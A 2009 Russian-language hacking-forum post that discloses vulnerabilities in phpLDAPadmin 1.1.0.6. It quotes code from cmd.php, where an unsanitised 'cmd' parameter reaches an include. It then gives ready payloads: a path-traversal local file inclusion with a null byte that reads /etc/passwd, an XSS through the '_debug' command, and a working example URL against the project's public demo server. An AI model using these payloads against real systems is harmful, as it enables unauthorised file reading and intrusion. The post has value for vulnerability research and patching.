phpLDAPadmin

Discussion in 'Веб-уязвимости' started by oRb, 15 Jul 2009.

  1. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Сайт: http://phpldapadmin.sourceforge.net/wiki/index.php/Main_Page
    Версия: 1.1.0.6

    Тут пришлось настраивать на серваке ldap + samba. Гуглил, как это все делать. Наткнулся на статью, описывающую работу с phpLDAPadmin. Стянул тулзу с репозиториев. начал работать и чего-то захотелось сорцы покапать =)
    Файл: /usr/share/phpldapadmin/htdocs/cmd.php
    PHP:
    ...
    $www['cmd'] = get_request('cmd','REQUEST');
    $www['meth'] = get_request('meth','REQUEST');

    ob_start();
    $file '';

    switch (
    $www['cmd']) {
        case 
    '_debug' :
            
    debug_dump($_REQUEST,1);
            break;

        default :
            if (
    defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
                
    $file HOOKSDIR.$www['cmd'].'.php';

            elseif (
    defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
                
    $file HTDOCDIR.$www['cmd'].'.php';

            elseif (
    file_exists('welcome.php'))
                
    $file 'welcome.php';
    }

    if (
    DEBUG_ENABLED)
       
    debug_log('Ready to render page for command [%s,%s].',128,__FILE__,__LINE__,__METHOD__,$www['cmd'],$file);

    # Create page.
    $www['page'] = new page($ldapserver->server_id);

    if (
    $file)
        include 
    $file;
    ...
    Тут и локальный инклюд: /cmd.php?cmd=../../../../../../../../etc/passwd%00
    И XSS (нахера она правда нужна - хз, до кучи ;)): /cmd.php?cmd=_debug&a=[xss]

    Пример: http://wurley.demo.phpldapadmin.info/php5-RELEASE/cmd.php?cmd=../../../../../../../../etc/passwd%00

    ps: Дальше особо не копал, тк шесть часов - пора и домой валить)
     
    1 person likes this.